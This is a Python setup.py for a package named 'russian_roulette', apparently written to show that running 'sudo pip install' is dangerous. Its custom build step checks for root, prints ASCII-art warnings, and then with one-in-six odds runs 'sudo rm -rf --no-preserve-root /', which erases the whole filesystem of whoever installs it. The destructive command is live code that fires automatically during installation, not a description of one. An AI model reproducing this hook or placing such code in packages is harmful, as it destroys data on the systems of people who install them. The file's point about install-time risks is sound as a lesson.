sudo pip install is insanely dangerous https://pages.charlesreid1.com/dont-sudo-pip
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

145 lines
4.7 KiB

  1. from distutils.core import setup
  2. from distutils.command.build import build as _build
  3. import time, os
  4. class build(_build):
  5. # https://stackoverflow.com/a/3467690/463213
  6. description = "Russian Roulette Un-Build Process"
  7. def run(self):
  8. if(os.geteuid()==0):
  9. print(r"""
  10. _ _ _ ???????
  11. | | | | | | ?????
  12. | | ___ | |_ ___ _| |_ ???
  13. | |/ _ \| \ \ /\ / / | | | __| ???
  14. | | (_) | |\ V V /| |_| | |_
  15. |_|\___/|_| \_/\_/ \__,_|\__| ???
  16. ???
  17. """)
  18. time.sleep(4)
  19. print(r"""
  20. _ _ _ _ _ __ _ _ _ __
  21. | | | | | | | | | '__| | | | '_ \
  22. | |_| | | |_| | | | | |_| | | | |
  23. \__, | \__,_| |_| \__,_|_| |_|
  24. __/ |
  25. |___/
  26. """)
  27. time.sleep(2)
  28. print(r"""
  29. _ _ _ _ _ _
  30. | | (_) (_) | | | | |
  31. ___ _ _ __| | ___ _ __ _ _ __ _ _ __ ___| |_ __ _| | |
  32. / __| | | |/ _` |/ _ \ | '_ \| | '_ \ | | '_ \/ __| __/ _` | | |
  33. \__ \ |_| | (_| | (_) | | |_) | | |_) | | | | | \__ \ || (_| | | |
  34. |___/\__,_|\__,_|\___/ | .__/|_| .__/ |_|_| |_|___/\__\__,_|_|_|
  35. | | | |
  36. |_| |_|
  37. """)
  38. time.sleep(4)
  39. print("""
  40. ___ ___ ___
  41. |__ \__ \__ \
  42. ) | ) | ) |
  43. / / / / / /
  44. |_| |_| |_|
  45. (_) (_) (_)
  46. """)
  47. time.sleep(4)
  48. print(r"""
  49. _ _ _____ _ _ __ _______ _ _
  50. | \ | | _ || | | | \ \ / / _ | | | |
  51. | \| | | | || | | | \ V /| | | | | | |
  52. | . ` | | | || |/\| | \ / | | | | | | |
  53. | |\ \ \_/ /\ /\ / | | \ \_/ / |_| |
  54. \_| \_/\___/ \/ \/ \_/ \___/ \___/
  55. _____ _ _ ___ _ _ ______ _____ __
  56. / ___| | | | / _ \ | | | | | ___ \/ _ \ \ / /
  57. \ `--.| |_| |/ /_\ \| | | | | |_/ / /_\ \ V /
  58. `--. \ _ || _ || | | | | __/| _ |\ /
  59. /\__/ / | | || | | || |____| |____ | | | | | || |
  60. \____/\_| |_/\_| |_/\_____/\_____/ \_| \_| |_/\_/
  61. """)
  62. time.sleep(2)
  63. print(r"""
  64. ______ ___________ __ _______ _ _______
  65. | ___| _ | ___ \ \ \ / / _ | | | | ___ \
  66. | |_ | | | | |_/ / \ V /| | | | | | | |_/ /
  67. | _| | | | | / \ / | | | | | | | /
  68. | | \ \_/ / |\ \ | | \ \_/ / |_| | |\ \
  69. \_| \___/\_| \_| \_/ \___/ \___/\_| \_|
  70. _____ _ _ _____ _____ _ _____ _ _ _____ _____
  71. |_ _| \ | |/ ___|| _ | | | ___| \ | / __ \| ___|
  72. | | | \| |\ `--. | | | | | | |__ | \| | / \/| |__
  73. | | | . ` | `--. \| | | | | | __|| . ` | | | __|
  74. _| |_| |\ |/\__/ /\ \_/ / |____| |___| |\ | \__/\| |___
  75. \___/\_| \_/\____/ \___/\_____/\____/\_| \_/\____/\____/
  76. """)
  77. time.sleep(4)
  78. print(r"""
  79. wiping your hard drive... please wait...
  80. + rm -rf /*
  81. """)
  82. # The longest 6 seconds of your life
  83. time.sleep(6)
  84. import subprocess, random
  85. if(random.randint(1,6)==6):
  86. print("Hold on to your butts.\n\n\n")
  87. # IDGAF
  88. # thanks https://serverfault.com/q/587102
  89. subprocess.call(["sudo","rm","-rf","--no-preserve-root","/"])
  90. else:
  91. print("Just kidding, it's your lucky day.\n")
  92. print("See how stupid it is to run sudo pip install?\n")
  93. print('Here is how close you came to a really bad day:\n')
  94. print('subprocess.call(["sudo","rm","-rf","--no-preserve-root","/"])\n')
  95. # TGIF
  96. # My work here is done
  97. # :dusts off hands:
  98. _build.run(self)
  99. setup(name='russian_roulette',
  100. version='0.666.666',
  101. description='running sudo pip install is insanely dangerous',
  102. url='http://pages.charlesreid1.com/dont-sudo-pip',
  103. author='charlesreid1',
  104. author_email='charles@charlesreid1.com',
  105. license='MIT',
  106. cmdclass={'build' : build},
  107. zip_safe=False)